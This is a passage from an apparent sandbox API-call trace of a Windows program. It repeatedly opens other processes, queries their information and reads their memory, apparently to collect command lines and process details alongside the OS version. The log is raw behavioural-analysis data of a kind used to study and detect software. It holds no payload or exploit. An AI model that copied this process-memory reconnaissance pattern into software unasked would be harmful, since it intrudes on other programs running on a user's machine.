bInheritHandle=0, dwProcessId=0x8b4) returned 0xa9c [0346.685] GetLastError () returned 0x0 [0346.685] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.685] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.686] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.686] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.686] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x272258, lpBuffer=0x5ec5a0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.686] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.686] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.686] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5db020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.686] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x271c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.687] malloc (_Size=0x5e) returned 0xeb6620 [0346.687] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2722ae, lpBuffer=0xeb6620, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0346.687] free (_Block=0xeb6620) [0346.687] CloseHandle (hObject=0xa9c) returned 1 [0346.688] _ui64tow_s (in: _Value=0xbcc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3020") returned 0x0 [0346.688] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3020") returned 4 [0346.688] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.688] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.690] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbcc) returned 0xa9c [0346.690] GetLastError () returned 0x0 [0346.690] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.690] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.690] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.690] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.690] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.691] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.691] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.691] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x208020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.691] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.691] malloc (_Size=0x74) returned 0xea8f20 [0346.691] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4922c4, lpBuffer=0xea8f20, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8f20*, lpNumberOfBytesRead=0x0) returned 1 [0346.692] free (_Block=0xea8f20) [0346.692] CloseHandle (hObject=0xa9c) returned 1 [0346.692] _ui64tow_s (in: _Value=0x10f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4344") returned 0x0 [0346.693] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4344") returned 4 [0346.693] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.693] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.694] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10f8) returned 0xa9c [0346.694] GetLastError () returned 0x0 [0346.694] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.694] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.694] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.694] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.694] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x502258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.694] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.695] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.695] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x32c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.695] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x501c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.695] malloc (_Size=0x6c) returned 0xea9320 [0346.695] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5022bc, lpBuffer=0xea9320, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0346.696] free (_Block=0xea9320) [0346.696] CloseHandle (hObject=0xa9c) returned 1 [0346.696] _ui64tow_s (in: _Value=0x1100, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4352") returned 0x0 [0346.696] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4352") returned 4 [0346.696] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.696] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.697] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1100) returned 0xa9c [0346.697] GetLastError () returned 0x0 [0346.697] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.697] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.697] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.698] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.698] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.698] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.698] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.698] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.698] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.699] malloc (_Size=0x64) returned 0xeb6700 [0346.699] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e22b4, lpBuffer=0xeb6700, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0346.699] free (_Block=0xeb6700) [0346.699] CloseHandle (hObject=0xa9c) returned 1 [0346.699] _ui64tow_s (in: _Value=0x101c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0346.700] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4124") returned 4 [0346.700] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.700] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.701] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0xa9c [0346.701] GetLastError () returned 0x0 [0346.701] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.701] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.701] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.701] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.701] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.702] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.702] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.702] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.702] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.702] malloc (_Size=0x68) returned 0xeb65b0 [0346.702] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22b8, lpBuffer=0xeb65b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0346.703] free (_Block=0xeb65b0) [0346.703] CloseHandle (hObject=0xa9c) returned 1 [0346.703] _ui64tow_s (in: _Value=0x520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1312") returned 0x0 [0346.704] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1312") returned 4 [0346.704] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.704] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.705] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x520) returned 0xa9c [0346.705] GetLastError () returned 0x0 [0346.705] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.705] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.705] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.706] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4924e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.706] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.706] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.706] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.706] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.706] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.706] malloc (_Size=0x62) returned 0xeb6700 [0346.706] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492162, lpBuffer=0xeb6700, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0346.708] free (_Block=0xeb6700) [0346.708] CloseHandle (hObject=0xa9c) returned 1 [0346.708] _ui64tow_s (in: _Value=0x1404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5124") returned 0x0 [0346.709] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5124") returned 4 [0346.709] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.709] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.710] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1404) returned 0xa9c [0346.710] GetLastError () returned 0x0 [0346.710] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.710] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.710] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.710] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.710] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.711] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.711] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.711] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.711] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x311c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.711] malloc (_Size=0x72) returned 0xea9620 [0346.711] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3122c2, lpBuffer=0xea9620, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9620*, lpNumberOfBytesRead=0x0) returned 1 [0346.712] free (_Block=0xea9620) [0346.712] CloseHandle (hObject=0xa9c) returned 1 [0346.712] _ui64tow_s (in: _Value=0x1420, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5152") returned 0x0 [0346.713] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5152") returned 4 [0346.713] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.713] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.714] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1420) returned 0xa9c [0346.714] GetLastError () returned 0x0 [0346.714] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.714] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.714] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.714] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc04100, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.714] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03c2a, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.715] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.715] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.715] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.715] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03570, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.715] malloc (_Size=0x118) returned 0xefada0 [0346.715] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03cca, lpBuffer=0xefada0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xefada0*, lpNumberOfBytesRead=0x0) returned 1 [0346.716] free (_Block=0xefada0) [0346.716] CloseHandle (hObject=0xa9c) returned 1 [0346.717] _ui64tow_s (in: _Value=0x1444, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5188") returned 0x0 [0346.717] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5188") returned 4 [0346.717] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.717] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.718] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1444) returned 0xa9c [0346.718] GetLastError () returned 0x0 [0346.718] 